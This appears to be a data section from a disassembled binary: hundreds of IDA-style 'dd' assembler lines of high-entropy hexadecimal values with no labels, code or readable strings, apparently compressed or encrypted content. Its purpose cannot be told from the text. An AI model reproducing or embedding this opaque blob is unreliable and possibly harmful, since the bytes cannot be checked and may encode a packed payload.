		dd 9B3E5380h, 0DEACDB03h, 8EF39EEh, 27B1AFD8h, 35D64407h
		dd 5600984Ah, 69D0A9DCh, 501306A8h, 4926E362h, 0CD5096E4h
		dd 6F0F67ACh, 60D53134h, 0D1F6FD1Ch, 6CCE2A39h,	855803BCh
		dd 272103DBh, 0A7D95110h, 0E6630A7Dh, 80D00CCBh, 39E27928h
		dd 6B1DB90Bh, 0C48095F0h, 2D139718h, 0B487B38h,	0B07510AAh
		dd 3F6E1380h, 3D02EF08h, 4649766Ch, 0E1F4A06Ah,	3B96894Eh
		dd 29B08811h, 5E855061h, 0F5179800h, 0CC0BA331h, 16FF60Fh
		dd 3787B626h, 80B7D392h, 0C01FEAD9h, 0BC3113h, 0CAFDF13Fh
		dd 5D02CF40h, 0A3D44918h, 798FF329h, 0E2F8006Eh, 0C6B630ACh
		dd 1F0048F0h, 60E9263Ch, 371DA6B7h, 0C438A004h,	0F07000CFh
		dd 0E099B1Eh, 3A2E5B31h, 0A8529F00h, 8000E304h,	0B70E6F0Bh
		dd 92714762h, 0E7E50348h, 0C5C812C4h, 7C42B6F0h, 26A82300h
		dd 0A6D2BAF4h, 0BD223743h, 12982AF1h, 313909F0h, 0A81D8410h
		dd 105BB830h, 0CA3A944h, 3AB7708h, 11380799h, 50C27927h
		dd 20B8CB69h, 0C44DDC23h, 0A2F81100h, 0F47B80C3h, 0C9B0042h
		dd 0F3F64C55h, 0BC606741h, 0E5635631h, 80B661D0h, 711473FAh
		dd 658C0145h, 769C200Eh, 524FF00Ch, 2908E9h, 28FE4B4h
		dd 749FD97Ch, 0B4ABC32Ah, 4F441D15h, 7C1475F0h,	80F83E49h
		dd 0E9D0B595h, 0EE8A891h, 1D9F06E8h, 0F956AE74h, 0BB3DF001h
		dd 66E11076h, 3D92E424h, 0B1E46729h, 0A2FC8847h, 0C5EE5A00h
		dd 0C71A09E7h, 1442F843h, 0FCD6748Ch, 40741D8Fh, 207C683Ch
		dd 622AFBDFh, 6400B0E4h, 21E1221Fh, 34613F67h, 0C019388Ch
		dd 0D903277h, 80A93Dh, 289B342Dh, 1ACA5E8h, 2CB67CE6h
		dd 0D0F6F432h, 69002152h, 0A3CCD94Ch, 1F756309h, 1C539AF0h
		dd 20585BACh, 5DB938C0h, 3616D00h, 8D635EDFh, 0F14A03Ah
		dd 4633883Eh, 0FBA0C100h, 1B2A4C29h, 9801F9F5h,	49318025h
		dd 0FD7E2728h, 8BEC1FABh, 7445004Bh, 0E7959FA0h, 10ACB100h
		dd 652CCE31h, 3440F977h, 80206872h, 59C00A40h, 0EE195DDEh
		dd 0C0331D17h, 7FA2CFEAh, 8759B083h, 0FE693800h, 0ABBA70F4h
		dd 826A39BFh, 0BD168D80h, 0B0351573h, 0E894D700h, 0F855AC9Eh
		dd 0CF2C06D2h, 5A098412h, 0FE929D00h, 40D0962Dh, 4B79C00Ch
		dd 79F3DC42h, 4D56891Ch, 0DFC5AECFh, 150063DFh,	0CB2CD8CDh
		dd 0C1D46B9Fh, 2EEB0300h, 24F8B104h, 1671A400h,	0E16B5ADBh
		dd 75483AA3h, 80CAD794h, 71097BC6h, 0B6382375h,	66C8019Fh
		dd 0BA96B982h, 11318E0h, 0B2E5BF12h, 42E9289Dh,	7B234EF4h
		dd 0C4107FEh, 4041E1A7h, 638D0E8Fh, 20B8A950h, 2589E0A0h
		dd 0AD378682h, 7C2D00B1h, 3BC8B05Ah, 0EF0713C3h, 0C5F8EC05h
		dd 0D94FDCA0h, 7A5E39h,	445FFA65h, 0D100C73Fh, 729D4007h
		dd 1D202Ah, 602E355Ah, 368093AAh, 9EDCCC00h, 0B2D04DB8h
		dd 0F5E90029h, 373FA699h, 0F879A36Dh, 0A0AAA100h, 39FAA44Bh
		dd 3093600Fh, 209D3F14h, 8A087FEh, 9FF839E0h, 0E0049F0h
		dd 0C298BF78h, 77AE4h, 32EB271Ah, 729ECA2Ch, 75B17103h
		dd 0CA31795Dh, 574481AAh, 508FBE16h, 4401BC9Fh,	82520CE5h
		dd 65AD3310h, 1CC140CAh, 0C106159Bh, 0A7001035h, 9EE3CF39h
		dd 63033DB1h, 0C5AD38EAh, 0DC5CE07Ah, 49133FF9h, 7D24BA00h
		dd 843C4B31h, 0CF3738A4h, 4780C07Fh, 0D3854Ah, 9C63E14Fh
		dd 8CF9D8A2h, 0FAB73Dh,	4EC815BCh, 1975CEDh, 0BF05E264h
		dd 8A2D9FC7h, 8C8AE941h, 93562C80h, 73224h, 58AFD9D2h
		dd 7AE13EC9h, 3183F901h, 99FEAC97h, 0AAEEDE8h, 5C1A98F6h
		dd 2EE06290h, 0B457ACA0h, 0D7004572h, 0E8CF9395h, 0FE8DA1F6h
		dd 9BB10C50h, 233061A8h, 7195888h, 94A28085h, 36AAD15Eh
		dd 98A0DAE5h, 7208E2BCh, 8A2FC600h, 0F244EA9Dh,	0EB0E0A32h
		dd 408C0C82h, 80DD5230h, 2728C860h, 0FE75B681h,	34283909h
		dd 0B71C3448h, 47DC802Dh, 0A77298EFh, 56F69A00h, 0B6452E1Ch
		dd 5177008Bh, 38FB3429h, 3F0FF3EFh, 0E04AA0C2h,	2F6E2804h
		dd 0B899C379h, 6987C29h, 40006A7Bh, 0A248BE4Eh,	908430AAh
		dd 0F7C31044h, 0C464039Eh, 80CD1C88h, 0ACE363Ah, 70E3BF47h
		dd 209760A0h, 0C8A99666h, 0FCD2D49Dh, 7AAE901Eh, 8E04B9F1h
		dd 1B7C21A7h, 7E1DE400h, 5B2BE6h, 9B0AA3CAh, 3F88FF80h
		dd 0A91CA530h, 5CE2240h, 4ED4A428h, 0AF8F00B9h,	0AB18F347h
		dd 5E25E709h, 46CC18E1h, 6985E906h, 0C0B6132Bh,	0E15B5DD2h
		dd 4F0AD30Eh, 9B6C60A2h, 1F3C089h, 0F0AE7BA6h, 60FC0176h
		dd 0B005DD11h, 0FB8A064Fh, 9F08C460h, 7029488Dh, 8402760Ch
		dd 0BD0062F8h, 0E8CD5F19h, 72459552h, 1CEF13BEh, 0E9100241h
		dd 0BC029D9Ah, 9FC8B02Ch, 774422Fh, 65737B15h, 23C31F27h
		dd 0C4191206h, 71784083h, 80265BEAh, 11DECF1Ch,	42A20880h
		dd 4949BB3h, 46E1137Ah,	30BC8020h, 0F53A0AA0h, 328A83FEh
		dd 2212F04Ah, 45072D51h, 647A4C03h, 2EDB9830h, 81DC3EC7h
		dd 6B9D7983h, 0D2A1201Fh, 5758E023h, 0B185118h,	0B91BB1h
		dd 0A5B015CEh, 3205C598h, 93A2412Ch, 58204913h,	80537318h
		dd 943CE9C1h, 0D17580CAh, 0B32759D3h, 0AB330052h, 0FB1BC27Ah
		dd 0CECB164h, 409FACA8h, 0D362D500h, 6BE18FAFh,	802C994Ah
		dd 0B843F0Dh, 0C7804CFFh, 0E93D44B5h, 80B7DC30h, 1BC7C92h
		dd 6C66BF61h, 0C86FFC38h, 83D25EDh, 9D4900E5h, 11904C57h
		dd 0D8418ACh, 209851FAh, 9DC6DF09h, 27081A50h, 0CAE04EE8h
		dd 120C5ECBh, 485B7Ah, 9EEC2898h, 244C158Dh, 8F4D7D88h
		dd 0DDBE08E8h, 0CBE98AB7h, 281F40C0h, 0C200F673h, 20D14182h
		dd 0DBF8E4h, 13CC23AFh,	0E59E763Ah, 41872099h, 61BE452Ch
		dd 7883C757h, 0DC803508h, 0E0A9C91Fh, 0D39D2010h, 39793C00h
		dd 36B086Ah, 4878078Eh,	0A09995C6h, 5F5528AEh, 717D34Ch
		dd 0B283729Bh, 404E84FAh, 0DE62F220h, 9E23000Dh, 53390AAEh
		dd 444989C4h, 0E14530ECh, 394D046h, 2AB4247Fh, 0B6C91EFAh
		dd 7840D66Eh, 78990B57h, 0A0F1CC89h, 64677530h,	13DB07F0h
		dd 0E786316Dh, 0F591D19Ah, 1C9823B9h, 413517CFh, 0F6C4ABh
		dd 9882B696h, 280A2F3Bh, 0D851EA0Dh, 0EDAD62C0h, 13F2112Eh
		dd 0F9E9C648h, 1BED00B9h, 29751332h, 40484450h,	224F003Ch
		dd 9456D1E8h, 0A0B9FA80h, 32FAB6BFh, 0B2D0096Dh, 0A52A8844h
		dd 9202B820h, 491762C3h, 3358464Fh, 4D21CA42h, 0D03306F0h
		dd 83972B00h, 0C8C57E90h, 193E44A3h, 110876E9h,	18248B78h
		dd 0B71A4178h, 2495C8EAh, 85C4724Dh, 0AC40D0CAh, 0B212AD6h
		dd 0F72702B5h, 9DFC18EEh, 36AD7080h, 191D7A2Fh,	0D93E7848h
		dd 356C00E0h, 414DC120h, 0FD86F83Ah, 27948889h,	0C30A54A7h
		dd 0D83B227Eh, 0F71009B7h, 0B8F40850h, 3B18D300h, 24DF22FDh
		dd 0C1609DD4h, 0E0AC984Bh, 0CB05602Dh, 0D115D567h, 9B2FD498h
		dd 78225Ch, 585303CBh, 70137B07h, 80C0A658h, 7855FED3h
		dd 0FF210741h, 4003F7F8h, 0E5912AEBh, 50180249h, 6D3EB08Eh
		dd 0EA0802Dh, 7442A685h, 0AAA1669h, 443C4197h, 7295A3C7h
		dd 0A22230h, 4A86E691h,	920A2124h, 0F32D6F1Ch, 55B3AA40h
		dd 2E0C80A7h, 0C07C6588h, 17727B1Bh, 35222605h,	2C04A0C7h
		dd 8CC81F57h, 0C93860A5h, 92DEAFECh, 8BDFBE00h,	0F93E3F56h
		dd 136B2967h, 6CE48090h
		dd 0AFC00E2Ah, 142D4A2Eh, 0E08B41E0h, 1891EFh, 1791BBF1h
		dd 300574Eh, 5B34E3ECh,	0A8C71833h, 0EEEAACh, 86053C4Ah
		dd 6110E98Fh, 1603E03Ch, 0DC228C21h, 2CE52FA4h,	0D1E90346h
		dd 7C906C1Fh, 5C00B1ACh, 6E27D49Bh, 12D0FF8Ah, 564D7AC4h
		dd 6C243028h, 0D500CA7Dh, 0E499FD0Fh, 4D2DE15Ch, 4B80EC76h
		dd 3E5F7BA7h, 0E5ACD214h, 0D5CD8094h, 9445F3h, 28F532EEh
		dd 0EAAC9A48h, 892A600Eh, 6227689Fh, 3C80B5CAh,	1F3D3234h
		dd 5D6DB4A8h, 2C9C4056h, 7D3EEC1Dh, 714A2F35h, 415E8D82h
		dd 0EC08418Ch, 7D3A2CB9h, 6FE5302h, 40AC9DBBh, 0F23E97h
		dd 59803C0Ch, 0F6128643h, 5D40A00h, 6098C92Fh, 1F54BB5Dh
		dd 0A65178h, 6459AF22h,	735875h, 98FE42D2h, 71B10756h
		dd 0D4705B00h, 0E75F7943h, 9832463h, 0FFB05820h, 0CEF4D907h
		dd 52005992h, 469A3575h, 9FCA13C6h, 9083421h, 39138833h
		dd 883434D7h, 0A8015EB4h, 0E043C3EAh, 9441A024h, 29B98C05h
		dd 606B7A00h, 1E31F249h, 0DA06DE14h, 0AC9D24C5h, 32124F11h
		dd 183C8982h, 3F0739F8h, 6C8D0B1Ah, 24F2881Ch, 40FCE4F4h
		dd 5A4AE6EAh, 640BCB29h, 5137E00Ch, 86FAF6h, 5DCF08FEh
		dd 65DA466Bh, 8C6ED2FBh, 0E2DE716h, 0F8F2F020h,	403C13CCh
		dd 1D284872h, 168B6480h, 3F79B1E2h, 61006D87h, 0EC2C2B0Eh
		dd 0A414ADB6h, 216CA70Ah, 49D0084Ah, 7AE74260h,	0C8CD0A7Eh
		dd 60D428A8h, 787AD3Eh,	864D260Eh, 442C01F4h, 0E018773Bh
		dd 1D312160h, 12EFE966h, 60D4DA3Dh, 10C575Ch, 0B7C7D4A8h
		dd 86309B4Ch, 0A119BD78h, 487018E0h, 8C6492D1h,	23321AF4h
		dd 0DCC16925h, 467112A0h, 34615D54h, 0D544E980h, 0D81880B1h
		dd 9A3188F0h, 7A760063h, 0CC1DBD79h, 75018ACEh,	0DBB7A531h
		dd 50348709h, 2B9C0268h, 0AE9D6AD5h, 81945051h,	7D29CA4h
		dd 50D0C801h, 0B82C23B1h, 30E32F16h, 44BCBA24h,	0DB574300h
		dd 46747F0h, 4C3A02A1h,	0FB8A115Ah, 1852DCEEh, 0D3BA6094h
		dd 7CD863Eh, 0B0F2CAFCh, 0CDAC5A60h, 3A0C64E4h,	84513C1Eh
		dd 4089DC0h, 29DCB848h,	90BC0D82h, 4BB2C8A3h, 781B1402h
		dd 4105C858h, 0E096B53Dh, 814CCh, 74E9B74Ch, 6B1F3E2Ah
		dd 982DA625h, 2131CF10h, 94804D8Bh, 2EC21375h, 3A2B447Ch
		dd 92965B27h, 327C1018h, 142F507Fh, 0D9FA688Dh,	841F10FCh
		dd 98528CD7h, 0D5C5778h, 9562B070h, 5F8424A7h, 25919Ch
		dd 0D3049119h, 9815B5E7h, 0B0A2596h, 9C89E8ABh,	160FE818h
		dd 0BA026800h, 0E0B70513h, 33891EDEh, 0EA300104h, 915E9DE1h
		dd 0C42622A8h, 57C540E8h, 3500BDF5h, 60EEBE53h,	5C637B29h
		dd 0FB114C0Fh, 678D0483h, 0A5204DBDh, 0B42956B2h, 3E40B444h
		dd 58A907Bh, 0BE39CEFDh, 17884694h, 0F217B174h,	1A00F8B1h
		dd 0A21A705Eh, 4B860087h, 575D6BE6h, 0C909F761h, 48CA9E54h
		dd 1812EF6Ch, 8C4E6C31h, 6B246D15h, 0D1131FBCh,	7D529A00h
		dd 9289C51Dh, 7EE0320h,	46F3AEFEh, 0E99C8CC4h, 9800B491h
		dd 0A6183EFBh, 1C17E84h, 919F948Bh, 33B6C7CAh, 446CC4ECh
		dd 0BE453F80h, 107D3E1Dh, 60C4026h, 0E1500B82h,	2407A52Ch
		dd 0CCCEF640h, 8FDD00D9h, 50BF883Ah, 0A104DBFEh, 4E289E49h
		dd 0B07828C7h, 51D41F60h, 0BF865E1Eh, 42C1F026h, 20727820h
		dd 22793213h, 5452C46Ch, 52403107h, 0D2E01222h,	597C12Bh
		dd 59488F6Eh, 32388135h, 855200B7h, 0F95000CBh,	42B0FF53h
		dd 90E78CCh, 0A94AD516h, 99FC14D6h, 0CF50024h, 0A0FAE013h
		dd 20890CB3h, 748C18A1h, 0C84B8853h, 103CCF2Ch,	0F6459D80h
		dd 1FD243EFh, 0A85FD23h, 11BC2D6Dh, 17340C68h, 74971CEh
		dd 0B369319h, 60D11782h, 98BE77D4h, 0EC07C403h,	85DA492Dh
		dd 24239492h, 0D34C9828h, 80981748h, 9451799Dh,	86FE2C67h
		dd 974007B1h, 341230A5h, 63016DA6h, 9A4B576Ch, 68683FE7h
		dd 895B3D80h, 6E1DD035h, 1180946Ch, 5DED8E20h, 0E8010267h
		dd 0CA98315Ch, 0D000B044h, 8990B053h, 0B0F8F2Ah, 8155EF4h
		dd 4505A84Ch, 53E94678h, 522FA860h, 0CDE52A44h,	0F2C50084h
		dd 72358641h, 0D3E6C81Ah, 0C6BFF40Fh, 46680029h, 9876CBB6h
		dd 13572694h, 203C5938h, 8F4A900Ah, 5C21B060h, 2EDCA4F8h
		dd 60F0357Fh, 2F58EC97h, 2420FE5Ah, 7403B38h, 20AA3280h
		dd 5C6E90FCh, 0B047B66h, 3E0FB43Ah, 0C50A0F2h, 5F3703DFh
		dd 9EA7AB11h, 248D75E1h, 0BC942864h, 0CF853EC0h, 590409A3h
		dd 9C4955ADh, 96A180F7h, 0C1A3F8A1h, 64EE0F0Fh,	43B62BB1h
		dd 9513226Ch, 40185924h, 11C6A40h, 302B004Ah, 2BA7B44h
		dd 580085B3h, 0B417C6DAh, 0B13AA831h, 1C6080D4h, 0A0A24A98h
		dd 19353B2Dh, 0B8673F64h, 0D7981078h, 0A84D002Dh, 0E20EE916h
		dd 521307B7h, 90A58FFBh, 0C3F9CEF8h, 9A35BE0Bh,	40109920h
		dd 0D262439h, 6C546078h, 10712B3h, 0DB07AD7Bh, 73FE5FC0h
		dd 72920BA4h, 0C0901744h, 61E2C83Ah, 0E7387D07h, 27A19671h
		dd 88209E57h, 3732885Bh, 5413C72Ch, 92A69488h, 37ECD018h
		dd 0C300A73Ch, 8BA24149h, 1751E519h, 30EBB9B0h,	0D2985618h
		dd 68494304h, 44C242CAh, 80AF2535h, 92286008h, 0C3F1B20Ah
		dd 0CF808CA6h, 770E5C3Dh, 28482DEFh, 2D390439h,	4567C7C0h
		dd 4BB9F530h, 0E5C5AE1h, 2E717588h, 73080C27h, 60342C77h
		dd 0C0A3D90Ch, 1C56B802h, 66BF740Dh, 0E4C31504h, 35009CCDh
		dd 1C07776h, 0C400FE42h, 2857406Fh, 66BEF0h, 7D8E5FE8h
		dd 776DB92Fh, 0ECA63826h, 5AFD6440h, 7F9C77EEh,	0ABF502F4h
		dd 0D511416Eh, 933F0B60h, 89D8405Dh, 24106C19h,	50548866h
		dd 0D10FDD78h, 0AFA32E02h, 159720C3h, 6821F5h, 3916E4CBh
		dd 282631CAh, 88A144B9h, 47208027h, 0A0298032h,	8BA0A110h
		dd 3CBCF2E1h, 76951150h, 0F99BF13h, 80BC93FBh, 0F216607Ch
		dd 0A8C9619Fh, 0BB24824Ch, 6C0B0921h, 4EF3A048h, 0B3431500h
		dd 0D9ACEE8h, 4FB200A1h, 1EED60D2h, 9725682Ah, 6AD4B05Ch
		dd 0EE980519h, 0E6FE15DCh, 0F03F0010h, 3BD1A3C1h, 3DC8C9E7h
		dd 7AC45810h, 791879C0h, 3FB930DFh, 740EC6EFh, 65A03826h
		dd 121B5816h, 0B1325527h, 0DD10C87Ch, 0EB0BC066h, 0B1770h
		dd 7F8C1B74h, 39990972h, 98A009E5h, 0BDF722EEh,	0EAC71D00h
		dd 62E9BB7Eh, 2E57194h,	466DD203h, 0B8ABD42Ah, 8B9B4883h
		dd 0D8B2A0A7h, 5D5073EDh, 0F2051B4h, 43054ED9h,	212A1378h
		dd 2F4C71A8h, 2BFE6400h, 8C0BED28h, 0F8F9005Ch,	202A52DFh
		dd 8A2C75E0h, 0CAC06440h, 98933Eh, 5C0F9760h, 2235FBBBh
		dd 0D5A8494Ch, 1F57843Ch, 5DC740E4h, 8BA06CA4h,	72245F84h
		dd 0F88B45Dh, 2244908Eh, 88345883h, 26001C22h, 0E5D44DE7h
		dd 7A62F30h, 3C6DA274h,	2D36D3B6h, 0A0F0BEABh, 50012171h
		dd 28E7459Eh, 0E8685430h, 14486BD4h, 195DFF80h,	6E00F2BCh
		dd 732157B1h, 2C84AF31h, 44680A20h, 3A6471Dh, 0A9334AA0h
		dd 0E927019Eh, 3A074B8Fh, 2B429226h, 448BE08Ch,	355A6D28h
		dd 6498D816h, 84BD016Ch, 2DBE8087h, 104F2BA5h, 0F822E04Ah
		dd 28CD5F5h, 0A7F07FE8h, 68E0736Ch, 35FDCCC8h, 808468DCh
		dd 204734FBh, 0C4374CDCh, 2757A322h, 383106E8h,	9C9912FCh
		dd 0DD6E4064h, 5D00453Bh, 210318E7h, 0BB6FE8h, 4B4A902Ah
		dd 3437E30Ah, 4E60400Eh, 6D2FE4C4h, 5EA71C80h, 3E51058Fh
		dd 0CAC20487h, 537310E4h
		dd 22298200h, 0C9F5D9DEh, 0F017FC00h, 0C7A97E37h, 0FB904CA1h
		dd 0CAEC305Fh, 4B4E5CBh, 24537442h, 0E64F26Ch, 4AC8C9h
		dd 7FD2D585h, 1319F008h, 758DA1D0h, 4B2C0858h, 0C4B1578Bh
		dd 32154F68h, 0BD603900h, 8EDEE098h, 94309D96h,	0EBBE79Fh
		dd 20989A0Eh, 0AA3FB380h, 9D2E39C6h, 0B040DCA6h, 1DE3E9C5h
		dd 0BBB46C68h, 52DCAB80h, 0B6331130h, 87DDF314h, 0DCB4A594h
		dd 0C40B0083h, 40F2F24h, 0B84E0231h, 1038B832h,	700B3E15h
		dd 0C1EEAC9Dh, 0E1A58F70h, 7400B044h, 0A8534495h, 2791CB63h
		dd 0E494C0D1h, 80C00648h, 89347EC8h, 15A901A0h,	0CA462E68h
		dd 0A04D037Fh, 5A1C46Fh, 0E2EB1AA8h, 0BD158010h, 8476549Bh
		dd 0A6D67C09h, 0FC188089h, 9E0FF351h, 3C840D0h,	0F93EB4F2h
		dd 0C52F0092h, 0F4B70D0Ah, 9AAB2491h, 524EE2A0h, 0F8B6722Eh
		dd 84000622h, 57F6732Eh, 0D59E78h, 0FD40C953h, 87542BB4h
		dd 1294EC48h, 0B41F6D8Dh, 51BE2600h, 5049E9C8h,	8B9B982Dh
		dd 58544252h, 0B18874B0h, 161E00DAh, 0D35F9DD4h, 4F124B27h
		dd 8CD00572h, 0B8C6Fh, 7E0341F2h, 9D85253Eh, 3BD058h, 44E37BC9h
		dd 0B339D1A1h, 3E023D4Ch, 510E804Eh, 75007451h,	39AA037h
		dd 0C1B60713h, 0A01A7AF9h, 0FC46AD6Fh, 20837413h, 729554D0h
		dd 0E2A9046Ch, 0C8E5AE93h, 0CE7FA8BCh, 1738E648h, 48C8A25Fh
		dd 88F07813h, 70004CB2h, 0EE90DB9Bh, 6E1257h, 4EBC6297h
		dd 0CAB7EFF6h, 44D85C4Bh, 6A74BEA2h, 8C6608B0h,	295AD0A8h
		dd 4C304829h, 0E028BC2Dh, 272C2253h, 69878B05h,	0AE825D0Bh
		dd 4404795Ch, 8C852A7h,	9B784CB8h, 0CCF47B12h, 3F00B62Ch
		dd 44EC202Fh, 35C72DA9h, 0B0B18AA0h, 2A38B3B0h,	0C1BF8597h
		dd 0A984C871h, 1E7A308Ch, 65A27210h, 62001C6Ch,	3E5B78A4h
		dd 2686A8E2h, 50E4160Dh, 50A01483h, 0DA02BF3Dh,	19598C3Fh
		dd 443CE02Dh, 43389035h, 450B3E7Bh, 401EBAF7h, 27822030h
		dd 0C43171E5h, 13343DCAh, 0FF00C188h, 0A825B10Eh, 0C0100B33h
		dd 0F812753Ah, 420010F1h, 87D063D4h, 6DE4C8h, 4BC486CEh
		dd 0E113C991h, 0CB1DB70Eh, 5B4F606Ah, 1C63F5D8h, 0C0DAE6D6h
		dd 7FB7428Ah, 3739DD8Fh, 0F4330E39h, 0A2D34322h, 4F5AD895h
		dd 5025182Ah, 0AEC6182Ch, 0E71024Ch, 0F29C858h,	5B1D63E9h
		dd 0EFA990B0h, 0CBBC0565h, 0C054C0FEh, 0F423DED8h, 0CA296300h
		dd 850662F0h, 2DDF0043h, 0B1EC1D0Ah, 8D00EDAFh,	0CFDE96CBh
		dd 0F554F8h, 1ED56B15h,	7B03DFC6h, 845D9D00h, 0B02B22Bh
		dd 4701009Eh, 0A3666BC2h, 94008719h, 144E28E9h,	61813D21h
		dd 6415797Fh, 4900D339h, 0AC299E3Eh, 0D8E463h, 0F694C523h
		dd 5C15CB4Fh, 85293A6Eh, 200E7E47h, 0A4009161h,	4E1D204Ah
		dd 3F016FCBh, 458F7031h, 2080F54Fh, 0B37C1396h,	8E7298EAh
		dd 0E1DEC200h, 3FDC933Bh, 6FF418h, 6701B237h, 0C8804647h
		dd 70DE780Fh, 85520D7h,	75355768h, 3CA00FA2h, 6482E8ECh
		dd 0A8A0C7BCh, 7DA9BDF9h, 28130700h, 10743911h,	80CA6299h
		dd 62C1B323h, 989BF487h, 788D6C00h, 0E00A5BC7h,	4A3B189Ah
		dd 1FF428CCh, 8AE8E754h, 61F7A500h, 0BEEAD44h, 4A8514DEh
		dd 1538C4CEh, 3F6A998Ah, 38180CEEh, 57EA5678h, 8A58A000h
		dd 5DBD3A94h, 0A2292A14h, 0F8230DD8h, 0E061CA16h, 0D0A68B57h
		dd 64378503h, 0AE898D05h, 0CB7331h, 3FB74652h, 0AF14A276h
		dd 0E59F5100h, 0F587863Eh, 33A002Dh, 4076A7A1h,	54A460F9h
		dd 50A84CF0h, 1D0A9902h, 0B0D3BF92h, 4C4DB89h, 0F940AF4Ch
		dd 3A606142h, 4F2230C1h, 0F450F143h, 10CA23Fh, 5899C995h
		dd 26021F04h, 88850C30h, 53B9C3h, 0E871EC38h, 0BD584137h
		dd 2207C21Fh, 802D500Ah, 2F9DEE80h, 45E315h, 17DD90D5h
		dd 0F63CD4CBh, 0D1AADA09h, 1F44192Dh, 5B00B422h, 6ED4AFA5h
		dd 6A006369h, 0BF0A23A8h, 148194B2h, 0FC8A3C1Bh, 0C972280h
		dd 0FA00B14Bh, 67127DCBh, 5411BDB0h, 64E4C9h, 46425B9Dh
		dd 0C538B6EFh, 9EE0EC54h, 57D7B340h, 0D060D454h, 0EA3015E4h
		dd 23B86F56h, 308B0CDAh, 0DB01DE89h, 0A0266427h, 0F0E45909h
		dd 8DC000FBh, 5893C867h, 83052535h, 0BD2F571Bh,	1146009h
		dd 333F6934h, 88BB7820h, 0DD549448h, 720AD8CCh,	94E5554Bh
		dd 993F8103h, 0CE41001Ch, 9DC1F00Ah, 7A0AD301h,	0A42F509Ch
		dd 0FB078380h, 38FEE31h, 519BB5AAh, 0AE972EBBh,	3C3F7880h
		dd 24983797h, 0B9F8A100h, 0C167F3C5h, 589F07A0h, 1072B20Ah
		dd 4F4035Ah, 907AA928h,	993C3E09h, 59A820C1h, 7D52018Ch
		dd 3A103994h, 2405A2BEh, 0BC2E67h, 0EC476A74h, 0C5015C92h
		dd 24BAA3Dh, 40317766h,	80F564E4h, 31CB4E88h, 0FAFD01D6h
		dd 0EC80F827h, 45E6E86Dh, 0EA00066Bh, 3C5F1ACFh, 70CD910Bh
		dd 86549342h, 0A1D89D32h, 4C76F00h, 0AC6B08FDh,	2964A81Eh
		dd 71ED61A3h, 50E6FD4Fh, 19A72E9Ch, 0E5FF0CA0h,	8F13F89h
		dd 0FA89C830h, 0A63D26FDh, 0B315618Ch, 58FC2421h, 454C1498h
		dd 76819FACh, 0FB5C1601h, 0A3BB9E40h, 0CD1009D0h, 0D004C5A6h
		dd 0A015409Fh, 0A1DEC3FAh, 4443BED5h, 665FEA39h, 7DCF21D4h
		dd 8920B308h, 14104A95h, 0B9242FD5h, 14683467h,	904B3A8Ah
		dd 8DC76740h, 768424CDh, 98CC60F0h, 0A1FA42B2h,	588B7026h
		dd 0B5A7B840h, 0C690002h, 0FABFA39Ch, 4600B34Dh, 2BA1B1A6h
		dd 932CCA0Dh, 0E711ECh,	1CD75609h, 9BEF5DD5h, 0AE67805Ch
		dd 5A641A34h, 5C1EC4A4h, 0DB4F8B80h, 0DC163250h, 0B9F0041Dh
		dd 7A2C166h, 0AF9CD8E3h, 597700BEh, 0A97EFF22h,	286B9D09h
		dd 69EC305Bh, 0D947303Dh, 3FC73341h, 0D46CD204h, 0C8C1845h
		dd 0ECBD53D6h, 88D86604h, 4323004Dh, 0B073281Ah, 0B5D900B5h
		dd 0F93677F7h, 723AA995h, 8149BE7Eh, 3D388CFh, 420F402h
		dd 0C8EE8826h, 4458BDh,	1BAD2A12h, 260FAC10h, 87AA5702h
		dd 4156A249h, 2A112708h, 95F45030h, 4100DB5Dh, 0D78D8E49h
		dd 0C03345FFh, 0E97F9A59h, 0ABEE1D5Ch, 74142430h, 73B278DBh
		dd 0C9359h, 4608D49Bh, 791317E1h, 0D821FF65h, 51802744h
		dd 0A53B2CADh, 0D8005E45h, 4FB53E98h, 0B9AE2BB2h, 24A9881Ch
		dd 107D5242h, 968520B0h, 0C5F85F6Eh, 81BAA9h, 0B6B802D0h
		dd 41D40C3h, 78E42E66h,	0AC019940h, 0A58805F6h,	2126023Ch
		dd 30533EDCh, 96020190h, 0B1F29415h, 449B186Ah,	0A381306Eh
		dd 0F0F3A980h, 0B17F112h, 1F96DBCFh, 6007E080h,	0B007BC24h
		dd 50194571h, 0A68184AAh, 1C3E4E72h, 2F226427h,	3564F100h
		dd 0E2A2CD07h, 2D3C01E6h, 72B61731h, 221067D1h,	0E4B10001h
		dd 0D77BEA8Ah, 792C8949h, 6A12A38Ch, 0DE146C21h, 0D0AD2E10h
		dd 22087858h, 0CC2A5CF3h, 18C85580h, 0C324402Dh, 3BC17058h
		dd 244021AEh, 1BDD29Dh,	4C472BCh, 41426932h, 2DFCDD4h
		dd 38FC901Fh, 339000C4h, 68B56DD0h, 0E300BFBBh,	9293C7F3h
		dd 862AA610h, 391A1F30h, 329D20Dh, 163A8CC5h, 0EE98BFFCh
		dd 0FE7BF728h, 2336240Bh, 0DB0C199Dh, 0D8246003h, 1350701Bh
		dd 2C491218h, 34A9E056h, 8ABCA102h, 0E354FB30h,	79AE47h
		dd 4927ABC8h, 0B5FF25E5h, 77FA9E00h, 547C70Eh, 70D94CE4h
		dd 4A152C40h, 0C5843066h, 4F4DBD99h, 731F773Ch,	0F42EE93Bh
		dd 9D8C81CFh, 3E8272B3h, 0C79C33D7h, 3C019864h,	0AD16242Ch
		dd 8802F579h, 570004E4h, 0AB6645DCh, 2A4EA72h, 3A545C28h
		dd 1EC06942h
		dd 6E0C83Ch, 0F04C642Ch, 4AA1D440h, 9F88B1E6h, 5442233h
		dd 99CC0067h, 0A01B067Ah, 88947080h, 10810865h,	0BE113EB3h
		dd 9AC1ECF7h, 62953Fh, 97F9A102h, 946FE2FEh, 3DB2E374h
		dd 3CAE3900h, 6B7BE9C2h, 0FD7519AFh, 8729203Eh,	16D603E9h
		dd 85F01389h, 4829FC98h, 4F8378BCh, 0E1264A43h,	5048843Fh
		dd 3860DA81h, 76F8A34Fh, 90CD722Ch, 3C16100Ch, 58D85DFBh
		dd 5256005Dh, 0CD1C93DEh, 0A4DA04F1h, 8DA6D0F6h, 0D046C210h
		dd 9740C03h, 0C16940E3h, 0D8DFB54Ch, 0CB3F17Dh,	326416C4h
		dd 53583A89h, 0C70A8084h, 7C4F76FAh, 209D48AAh,	74210095h
		dd 2A12A0A3h, 8777B8D0h, 0EFE20EDBh, 0EEFC2567h, 5960059Fh
		dd 0D690DCB5h, 0DCB4C38Ah, 11E3F492h, 32D91017h, 0F0680029h
		dd 242F4043h, 7B1E0B9Bh, 0CCE8068Fh, 0D0535F4Bh, 36217470h
		dd 68584C64h, 0F70E9580h, 809CDC2h, 0E28896h, 563C0108h
